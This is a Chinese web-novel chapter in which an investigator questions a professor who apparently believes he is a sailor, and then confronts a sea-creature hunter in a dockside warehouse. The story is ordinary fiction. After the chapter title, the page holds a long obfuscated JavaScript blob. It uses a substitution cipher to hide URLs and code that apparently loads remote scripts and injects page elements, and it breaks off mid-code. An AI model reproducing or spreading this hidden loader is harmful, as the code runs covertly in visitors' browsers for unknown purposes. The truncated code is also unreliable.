我能够想象,此刻莫迪已经被幻觉困住。 他以为的“三个小人”,实际是三种不同的思想,而这些思想,都是他一个人派生出来的,完全来自于他的内心。 当前莫迪教授经历的肯定是脑中的幻觉,根本不可能存在三个小人,这三个人代表的都是他的思想。 我注视着他的眼睛,能够明显感觉到,他的眼神正在不断变化,从起初茫然无知的水手表情,很快就转换为睿智的教授目光。 这种转变非常明显,根本不可能是同一个人能够表现出来的。 我只能大体判断,他的思想反复在水手和教授之间切换。 这种奇怪的感受过去从未有过,或许水手的思想进入教授的身体,才会产生如此诡异的现象。 过去我看过很多心理学治疗的案例,的确有过精神分裂患者,出现了这种情况,一个人分别扮演两个角色,但自己却一无所知。 很多影视剧作品当中,精神分裂为三个到五个的案例也比比皆是,每当切换一个角色,他的行为和语言都会随之改变,除了五官相貌,其他细节根本不是一个人。 “好了,让你脑子里的三个小人停止争吵,现在告诉我一件事,到哪里去寻找鲛人?他们的巢穴究竟在何处?这些人袭击了钻石号轮船,到底为了什么?你有没有见过大卫船长和他的密室?密室里面有什么?是不是星门之眼……” 我的问题一个接着一个,但是很显然,莫迪思想混乱,几乎听不见我在说什么,只是絮絮叨叨地表达着自己的想法。 “一个小人说不能永远困在这里,我们要离开,到自由发挥头脑的地方,鲛人已经来了,世界的屠之杀不可避免,我们得找一个安全的地方藏起来,最好是穿过大海到海洋的另一边,那里有个世外桃源,我可以带你们去。” 我不禁感叹,一旦战争开始,全球都在炮火笼罩之下,哪里能找到所谓的桃源和净土? 那根本不可能,当今全球追求和平,不可能再有战争,我们必须解决来自海洋生物的袭击,这才是当务之急。 “好了,现在完全停下来,不要再说了,让那三个小人停止争吵,我们来讨论更重要的问题——” 我大声命令莫迪,随即拍了拍铁门,让外面的守卫去把医生找来,给莫迪注射镇静剂。 只有镇静剂才能让莫迪冷静下来,同时让三个小人停止争吵。 如果把这三个小人比作三个分裂的角色,逐一梳理,就能明白这个身体里藏着什么? 我要的关键线索是鲛人,而不是其他鸡毛蒜皮的小事,不管水手和莫迪经历了什么,他们必须说实话,才能让这次冒险变得更有意义。 一个戴着近视眼镜的女医生赶来,连续注射了两针镇静剂之后,莫迪瘫软在地上一动不动。 女医生无奈地摇头:“先生,你已经向他注射了大量的镇定剂,剂量不停增加,但是他的狂躁症发作得越来越频繁,我想应该把他送往大医院进行系统治疗,而不是留在这里,恐怕有生命危险。” 这一点我没有权力决定,只有周琳才能安排下一步的任务。 我告诉女医生:“你只负责打针,其他的事情不要管了,但我感觉他不仅仅是简单的躁狂症,很有可能是轻度的精神分裂。” 那个女医生点点头:“完全同意你的意见,不是轻度,而是重度。” 诊断莫迪的病症不是我的主要任务,按照米勒的要求,他希望我把一个健康的莫迪带回去,而不是一个病人。 周琳出现在门口,她已经从其他人口中知道,我对莫迪一筹莫展。 “叶开,这件事急不得,如果莫迪的脑部出了问题,根本不是我们的调查范围,我们只能向总部如实说明情况,欧美那么多心理学专家和脑科医生,一定能够治愈他。到时候这些事情交给总部去做也就够了,至于钻石号上发生的事,我们再慢慢打探消息。” 拯救莫迪当然不是她的任务,而是我的。 作为旁观者,她毫不动心,毕竟这不关乎她的利益。 等到那个女医生出来,周琳吩咐:“严密监视莫迪,提防他故意使诈,装出疯疯癫癫的样子。我不相信原先好好的一个人竟然变成精神分裂病人,而且从另外一条船上跑到这条船上,我怀疑他和鲛人之间有某种密谋,不然的话,怎么可能对两条船上的人员转移毫不知情,只知道让我们去追杀鲛人。” 这些事情已经纠结了很久,却没有理出头绪,这其实并不怪周琳,任何一个有经验的调查员都不可能在短时间内做出结论,那简直就是不负责任。 米勒他们远在总部,当然也明白这一点,故此对我和周琳的要求没有那么急迫,而是让我们慢慢来,确保最后的结论,准确率达到九成以上。 “叶开,还要不要跟莫迪继续谈下去?我相信注射了镇静剂之后,他的思维就正常多了,此前我审讯他,他说自己是水手,对于船上的一切结构说得清清楚楚,的确有在船上生活过的经验。我怀疑我们面对的是一个从未有过的疯子,你还是赶紧向米勒说明情况,据实报告,让他了解我们已经无能为力,只能把这样的莫迪送回去,请他定夺。当然,这样做就宣告了咱们工作失败,将来在系统内部很不好看。” 我微微皱眉,其实一项任务失败没什么了不起,可是我不想放弃这个谜题。 既然莫迪能够变成水手,水手也一定能改变过来,成为原先的莫迪。 这个案例给我们的启发无比巨大,将来遇到同样的事情,我们就能找到系统的解决路径。 我不想把这个难题推到别人身上,或者是干脆搁置起来,等以后智力更高的人去解决。 “周琳,我再跟他谈谈,你先去忙吧,不用麻烦你了。” 我返回了审讯室,把莫迪扶到椅子上,然后打开一瓶矿泉水,默默地喝着,目光始终盯在莫迪的脸上。 其实,任何一个行业干久了,都会有所谓的职业病。 作为水手,他的面部表情动作跟教授完全不同,我想从这些微表情判断,坐在我面前的到底是水手还是高级知识分子? 我观察到,在他昏迷的时候,有轻微的磨牙动作,在莫迪教授的资料中没有这种不好的习惯,也就是说,钻石号水手的个人特征表现在莫迪身上。 莫迪再次醒过来,轻轻抚摸着胳膊上注射镇静剂留下的针孔。 “刚刚经历了什么?我觉得自己头脑中一片混乱,眼前发黑,仿佛又回到了那条船上。鲛人的袭击来的十分猛烈,船员们来不及还击,枪械锁在船长的保险柜里根本拿不出来,我们找不到船长,全都惊慌失措,任由鲛人杀戮……这就是当时的整个过程,我能活下来,也不知道自己走了什么好运,不然也会被鲛人撕碎。” 我沉住气,缓缓地问:“后来呢?你有没有见过大卫船长?他的那间密室里面藏着一个秘密,你知不知道?” 莫迪摇头:“我们怎么可能知道?那间密室属于船长专用,任何人不得靠近。我们只知道海上出现了大雾,船只照常前进,大家出海很久,早就盼着返回佛罗城,谁也想不到鲛人就在一瞬间冲到船上,我们没有办法,只能任人宰割。” 我小心而谨慎地提问:“你说过,有一个女性鲛人曾经看着你,这到底是怎么回事?” 莫迪摇摇头:“我不知道,第一次叙述海上情况的时候,或许脑子还不清醒,才会出现那样一个人。” “如果你现在是另外一个人,就像我们之前叫的那个名字——莫迪教授,你该怎样解释?你现在住在另外一个人的身体里,能明白吗?” 我才取了单刀直入的方式,不再迂回说明,就是希望给他强烈的刺激,让他一下子从混乱中清醒过来。 莫迪疲倦地摇头:“这个故事的版本很多人向我说过了,但我无法回答,更不可能告诉你是对是错,但你现在看到我根本不是你说的那个人,还是老老实实的水手,一辈子生活在海上,从来没有当过教授,你一定是找错人了!现在我想见医生,而不是被你们没完没了地审讯——” 他站起来,大步走到桌前,狠狠地瞪着我。 我根本不理会他这一套,以他的身手,不可能对我造成任何伤害,只不过是虚张声势罢了。 “既然你说自己不是莫迪,那么你是谁?你始终没有说出自己的名字,也没有说出自己的过去,每一个水手至少有自己的家和身份户口,你的在哪里?” 又一次,他的精神变得萎靡不振,像一个被刺破了的气球:“我不知道,但我不是你们说的那个人,现在我也想知道自己究竟是谁?求你救救我,至少让我知道自己是谁,应该回到哪里去?” 周琳曾经说过,他们把莫迪领到一个四面都是镜子的房间,让莫迪看到自己的前前后后,但是莫迪并没有表现出不认识自己的样子,恰恰相反,他对自己的外形变化没有任何反应,假如换一种思路,这个人成为莫迪之前也经常照镜子,就知道自己的五官模样,不至于有了改变还不自觉自知。 “你还能回忆起什么?不管是不是在船上和海上,只要是跟自己有关的,都可以说出来。” 我耐心启发他,但莫迪沮丧地摇头:“我什么都不知道,什么都不记得了,请你帮帮我,让我找到自己的归宿。总之,我不是你们说的那个人,也从来没有听过这个名字,我只知道鲛人袭击了轮船,杀光了我的同伴,我现在很害怕。” 我无法分辨莫迪的话是真是假,但是我们审讯了他这么多次,始终得不到一个准确的答案,或许只能像黑道组织一样严刑逼供,让他无法抗拒,最终才会说出实情。 “好了,现在冷静下来,你已经活着回来,是不幸中的万幸,那些人都死了葬身海底,死无对证,不管你现在说什么,我们也只能暂且听着,但你最好想清楚,此刻你说的每一句话,以后都成为真凭实据,让你无法抵赖。莫迪教授,还有很多事情等着你办,如果一味地装疯卖傻,谁都救不了你!” 我说这些话的目的,是想警告他,不要以为自己可以瞒天过海,在真正的心理学专家以及高端医疗器械的帮助下,再强大的伪装者都会显出原形。 我想往外走,结束这次审讯。 刚刚到了门口,莫迪突然大叫起来:“我知道你们找的人是谁?他就在我的脑子里,随时都可以把他交出来,跟你们交谈,现在他已经睡着了,你们给我打针,三个小人就睡觉。” 我皱着眉头走出去,对于莫迪这些话,只能报以苦笑。 他说的全都是废话,正常人谁都说不出来,可是他一直紧咬牙关,说自己不是莫迪,这就太诡异了。 周琳一直在外面等着,见我出来,笑着迎上来:“是不是仍然无计可施?莫迪这个人果真厉害,不管他是精神分裂还是故意装傻,我们现在都毫无办法,只能把他交出去。” 实际上我又做出了错误的判断,我们从超级市场赶到这里,以为敌人声东击西,向莫迪下手,可是几个小时过去,这里安然无恙,没有发生一点意外。 面对周琳,我觉得自己每一次的计算都出现了偏差,过去从未有过这种窘迫情况。 “周琳,你的线人怎么说?有没有再次发现萨拉的踪迹?假如她有其他的阴谋诡计,此刻也应该爆发了才对,是不是你的线人不够机灵,根本没有查到萨拉的真实意图?” 从前我很少管别人的事,一直都是各扫门前雪,可现在我们手里的线索乏善可陈,寥寥无几,只能是催促周琳,让她的线人全都活动起来。 周琳微笑着点头:“我总共有七十名线人,已经全部发动,在佛罗城形成了一道巨大的间谍网,就算萨拉躲在最黑暗的角落里,我们也能找到她,只是我怀疑她的真实目标是不是鲛人和莫迪教授?或许是另外一种我们不知道的内容。叶开,还是打电话回总部,请那边作出新的指示吧?不然我们简直是瞎子摸象,找不到工作思路,白白浪费时间。” 我也不想这样,但是如今的情况十分危急,就算是向总部请示,他们也鞭长莫及,毕竟战斗在第一线的是我和周琳,而不是总部的领袖。 我们一起走向车子,准备回四季酒店。 这次劳而无功,让大家白白紧张了一气,显得我和周琳都没有什么临阵指挥的能力,被那些雇佣兵看轻了。 周琳接着打电话,挨个询问她的线人。 有人信誓旦旦的保证,之前的确是看到萨拉就在超级市场里,她们一定是感受到了危险逼近,直接离开,这种情况以前就有过,绝对不算什么重大失误。 周琳勃然大怒,用力拍打着发动机的前盖,发出刺耳的“哐哐”声:“你们听好了,现在是生死存亡的危机时刻,如果干得漂亮,上级就会嘉奖,你们也能拿到翻倍的报酬,可是假如一点新线索都找不到,我养你们还有何用?现在,每个人都打起精神来,全城搜索,找到那个叫萨拉的女人,这件事必须得完成,不可能半途而废。” 我看着她的背影,有些心酸,为了升职,周琳已经拼了,所以只能把这种巨大的压力转嫁到她的线人头上。 周琳发了一通脾气,打开车门,陪我一起回四季酒店。 在路上,有好几次周琳思想开了小差,险些发生追尾,幸好及时刹车,才避免了几次连环车祸。 我只好提醒她,让她坐到后面,我来开车。 此刻,有一个线人报告,他发现了万春雷,就在海边的码头某一个秘密仓库里面,那应该是黑道的驻扎地点,外表看起来像集装箱,但里面却布置得非常舒适,像一个家庭旅馆。 这一次,周琳变得十分稳妥,再三向线人求证,得到对方的肯定答复后,才告诉我:“我们要不要立刻转过去,先抓住万春雷再说?假如他和萨拉是一伙的,抓了他等于是挟持了人质。” 这是没有办法的办法,如果要抓万春雷此前我就抓了,根本不用如此兴师动众。 不过我还是笑着点头答应:“很好,我们去抓万春雷,先把萨拉的同伙清理掉再说。” 车子掉头,奔向海边码头,那个线人给出了地址,我们跟着导航过去不会出错。 周琳打电话,安排那些雇佣兵也向这边赶过来,悄悄包围线人说的十八号码头三号货舱。 为了不会再次扑空,周琳派出了两个人前去侦查。 很快,两个人返回低声报告:“里面就是万春雷,跟照片上一模一样,他身边还有五个人,应该是黑帮的打手,他们身上只带着手枪,没有重武器,我们一鼓作气攻进去,肯定能把六个人一起拿下。” 周琳转头看着我,我轻轻拍了拍她的手背:“周琳,你在这里等着,我带人进去,这次恐怕要发生枪战,太危险,你不能冲锋在前。” 这是战场的规矩,男人冲在前面,让女人走开,任何一个年代,任何一个国家都是如此。 周琳点点头,顺从地跟在后面。 我从货舱的后门进入,很快就听到了万春雷在说话:“这一次大船出海,不成功,便成仁,我们一定要找到鲛人,然后进行大规模屠之杀,让这个族群全都去见鬼。鲛人是我万春雷的一生之敌,千百年来,人类和鲛人根本不能同日而语,必须杀掉他们,人类才能平安,你们想好了,要不要继续跟我干?此刻退出,完全自愿。” 再次听到万春雷的声音,我觉得有些遗憾。 他始终没有出海,还在等待更好的机会。 假如能够抓紧时间,昨天晚上就离开佛罗城奔向大海深处,现在恐怕已经到了鲛人盘踞的地方,召唤炮火进行打击,然后步兵进攻,一举消灭。 他耽误了时间,贻误战机,以后跟鲛人之间的战斗就更麻烦了。 周琳相当谨慎,等到雇佣兵将仓库全都包围,她才低声下令,开始冲锋。 我不禁感叹,如果周琳能够一直保持谨慎,不会出错,那就是51地区之幸。最怕就是,当她取得成绩,又将变得轻率行事,遭遇更大的失败。 再次见到万春雷,他的脸色十分淡定,仿佛早就预料到会发生这种事。 他的五名手下身材粗壮,皮肤黝黑,一看就知道是长期海上漂泊的水手。 这些人围坐在一起喝酒,脚边放着十几个两米长、一米宽的扁平木箱,一看就知道里面装的是强悍枪械。 周琳的人打开木箱,果然如我所料。 这些枪就算是拿去打海盗、猎鲸鱼,也足够了。 “准备去干大生意?”周琳坐下来,枪口对准了万春雷。 这时候大家图穷匕见,已经没有客套的必要。 我怀疑只要万春雷说错一句话,周琳马上就会开枪。 现在,为了挽回她在线人和雇佣兵之前的面子,周琳能干任何事。 万春雷摇摇头:“这些只是朋友的东西,我们代为保管,你说的话我听不懂。再说叶开就在那里,我们刚刚分开,是他把我从千军万马中救出来,你不知道吗?” 我只能苦笑,夹在两个人中间,无话可说。 我当然明白万春雷的目标是驾船出海,进攻鲛人的巢穴,可他在这里停留的时间太久了,有些不寻常。 “万先生,我知道你肯定跟鲛人之间有所交易,不如说出实情,我们也来参与,确保交易顺利进行。在佛罗城,很多事情,强龙不压地头蛇,假如你只想自己吃独食,恐怕就离死不远了。” 周琳有些焦躁,说话口气越来越不好听。 万春雷摇头:“我真的听不懂你在说什么,我们在这里商量驾船出海,不过是些寻常的生意,根本不值得你们参与,如果没有其他事就请你们离开,免得吓坏了我的朋友们。” 他这种说话语气彻底激怒了周琳,周琳猛地举枪向上,连开了两枪—— “万春雷,我的耐心有限,千万不要惹火了我,不然的话,一颗子弹就要你的命,然后你所有的计划就泡汤了。在佛罗城,像你一样的人太多太多,号称是鲛人猎手,但你们干的却是杀人越货的勾当,很多海盗都不敢干的事,你们却是肆意妄为,杀了你,就可以向警方邀功,你知道吗?” 我不禁暗暗皱眉,周琳这样说,拉低了自己的身份,毕竟她现在代表的是51地区,如果跟万春雷过不去,完全可以找另外的理由,千万不能信口开河。 万春雷冷笑着点头:“我听懂了你的意思,但是我跟鲛人之间属于个人恩怨,跟其他人无关,如果我想谈,不如跟叶开谈,你始终是局外人,什么都不懂,还是赶紧退下去吧。” 我走过去,给两人打圆场。 这时候任何一方发火都没有用,我们跟万春雷之间没有直接的上下级关系,也没有强迫合作的必要,现在鲛人没有露面,我们两家打得不亦乐乎,毫无意义。 “好啦二位,都各退一步,其实今天的事情是场误会,万先生,把你的计划说出来,如果我们真的无法合作,马上带人就走,绝对不会打扰你的计划。但是我之前就说过,如果你带领团队直接出海进攻鲛人,那是造福江湖的大事,可是一天过去了,你还在这里拖拖拉拉,我真的怀疑,你有其他事情瞒着我。” 我不想把万春雷逼上绝路,他们是江湖人,做事有自己的底线,但没有固定的原则,为了利益随时都会改变。 既然大家都知道万春雷是鲛人猎手,那么他跟鲛人之间达成合作的可能性极低,继续推演下去,萨拉也许不是鲛人,而跟万春雷一样,也是想从鲛人那里获利的赏金猎人。 想到这些,我偷偷松了口气,当下我希望全人类都联合起来,共同对付外敌,不然人类遭到各个击破,过往商船动不动就被鲛人袭击,这简直太可怕了。 周琳站起来,望了望我,甩甩头走出去,那些雇佣兵也跟着出去。 万春雷摆了摆手,他的五名手下一起离开,货舱里只剩下我们两个人。 “叶开,你是个难得的聪明人,我到佛罗城好多次,每次见到周琳,都觉得这个女孩子根本不适合做领袖,你们51地区把她派驻在这里,简直是大错特错。” 我不想在背后说周琳的坏话,更何况万春雷是敌是友还没有确定,跟他讨论周琳的对错不合时宜。 “万先生,你究竟在等什么?既然知道鲛人的经纬度坐标,直接带人冲杀过去,夺得夜明珠之囤不就好了,难道在这里虚张声势,就能达成目标?” 万春雷哈哈大笑:“叶开,你像那些聪明人一样,想把我当枪头,让我率先冲锋,可是你知道吗?所有进攻鲛人巢穴的团队不管是黑道还是白道,最后葬身海底,尸骨无存。鲛人能够盘踞大海千百年,就是因为他们有过人的本领,人类到了海上,一旦轮船被凿穿,绝对不可能生还,而鲛人最擅长的就是这些,那些沉船好端端的为什么破裂漏水,还不是鲛人在下面搞的鬼?轮船沉下去,他们把里面的宝物洗劫一空,然后扬长而去,人类毫无办法。” 我承认万春雷说的完全正确,过去发生过的很多案例,经过专家分析,都是这种结果。 纵观古今,一艘大船横越大洋,只要没有撞到海底暗礁,就一定会平安抵达彼岸,但近五百年来,为什么大船频频出事,毫无征兆在海中解体?就是因为有某种外来力量,对大船进行了袭击。 人类的逻辑思维相当简单,认为只有海盗才会派出水鬼在海底发难,但只要拓宽思路,知道鲛人同样具有攻击性,就明白轮船为什么出事了。 “这样看来,万先生你不准备出海了,只想坐山观虎斗,对不对?” 我对万春雷感到失望,他只想得到宝藏,却不想以身犯险,世界上哪有这样的道理?那五件宝贝恐怕也是不劳而获,否则怎能轻易就献出去? 万春雷的脸色渐渐变得严峻起来:“叶开,绝对不是这样,如果我感到害怕,也就不会出海进攻鲛人。他们是我的一生之敌,只要我还有三寸气在,就绝对不会停止进攻。但现在我收到确切消息,海中最大的两股海盗已经得知了鲛人的准确经纬度坐标,三天之内就会发动攻击,你们把我当成先锋官,我把当他们当成探路石,这样一说你就明白了吧?” 我暗自吃了一惊,周琳的线人们提供的消息实在是太窄了,他们只想找到鲛人,却看不到其他海盗的攻击动向,假如这时候有人盲目出海,只会遭遇海盗船毁人亡。 我点点头,告诉万春雷:“那我知道了,我们之间或许有些误会,我一定会向周琳解释清楚。” “叶开,我们初次见面,我就知道,你是个可以放下心来聊聊的好伙伴。不怕实话告诉你,我是一个非常贪心的人。其他人只想弄到鲛人的宝藏,而我还要附加一条,那就是送他们上西天,让全世界再没有这些可恶的东西。你想不到,我的家族……就在一次海难之中,全都葬身在鲛人腹中,而我急中生智,跳进油漆桶里,将自己身上涂满了油漆,才侥幸逃过一劫,呵呵,呵呵……” 万春雷苦笑起来,用力抹了抹脸。 扎进油漆桶的感觉并不好受,恐怕一辈子都会加重他的仇恨,跟鲛人不共戴天。 “为什么遭到袭击?”我马上想起了钻石号密室里的星门之眼符号。 万春雷摇摇头:“没有理由,鲛人杀人,根本没有理由。他们是一群没有思想的两栖动物,就像鲨鱼和鲸鱼那样,只是为了生存,把人当成了食物而已,不是吗?” 我的第六感再次感受到,万春雷在说谎。 他之前说过,鲛人主动攻击人类,甚至有凿船的意识。 那么,古人口中的“鲛人”,至少是“人”的一种,就像野人、雪人、猿人一样。 我查过万春雷的祖先,大约在五代之内,有一位名叫“万重浪”的奇人,是亚洲闻名的天文学家,据称已经掌握了人类宇宙航行的秘诀,也曾撰写过关于“地球星门”的文章。不过,在封建帝王时代,任何进献给皇上的奏章,都会被中途截流,不送重礼,不可能送到皇上的御书房。 所以,万重浪的奏章也遭遇了被埋没的下场。 当下,我最关注的就是与“星门”有关的内容,如果我的判断正确,那么,鲛人的进攻目标就是“星门”。 “抱歉,勾起了你的家族往事不快记忆。万先生,那么,你就等着海盗进攻的消息吧,我们随时联系。” 我爽快地起身,不再为难万春雷。 “叶开,先不要走,坐下来喝一杯吧。我知道,你从钻石号上发现了大卫船长的秘密,那个神秘的星门之眼符号,对吗?” 万春雷一句话就揭破了我的秘密,但是,他是怎么知道的? 我怀疑,他在船厂那边有内线,才第一时间知道了这件事。 “万先生,我还是不要浪费你时间了。等到海盗进攻鲛人巢穴告一段落,我们就能坐享其成了。到那时,我希望你能成功——真心祝福。” 我没有迟疑,大步走出去。 现在,我们都已经亮出了底牌。 如果万春雷想跟我聊,一定会跟出来。 我刚刚走出货仓,万春雷就快步跟出来,一把拉住了我的手。 “叶开,告诉我,你对那个星门符号怎么看?我觉得,大卫船长肯定知道了些什么,但是,还没来得及告诉其他人,就被鲛人杀了灭口,是这样吗?” 我立刻摇头,否定了他的话。 “大卫不会告诉别人,我怀疑,他也是鲛人中的一员。这艘钻石号,就是供鲛人指挥的。不信,我们查找资料,就能找到证据。万先生,到了现在,你还不肯跟我合作,简直是太短视了。知道吗?只有51地区,才能揭开全世界的无解之谜,这是历史早就印证过的。我们背靠超级大国的坚强后盾,任何时候,大国不倒,51地区就一直存在,你懂吗?” 此刻,我已经不想跟万春雷兜圈子,大家的时间都很宝贵,只能是各尽所能,各取所需,才是最好的合作方式。如果一味地保存实力,坑害同伴,那么,我们就会成为鲛人的食物,最终尸骨无存,像钻石号上的人那样。当下,我们都看清了,是大卫船长做了内奸,其他人都是殉葬品。其实,人类自古以来就不够团结,任何年代都有奸细,甘愿出卖同类,换来暂时的荣耀。 “好,我相信你,其实我早知道,大卫船长是鲛人的内奸——”
第255章万春雷才是鲛人一生之敌(1 / 1)
!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 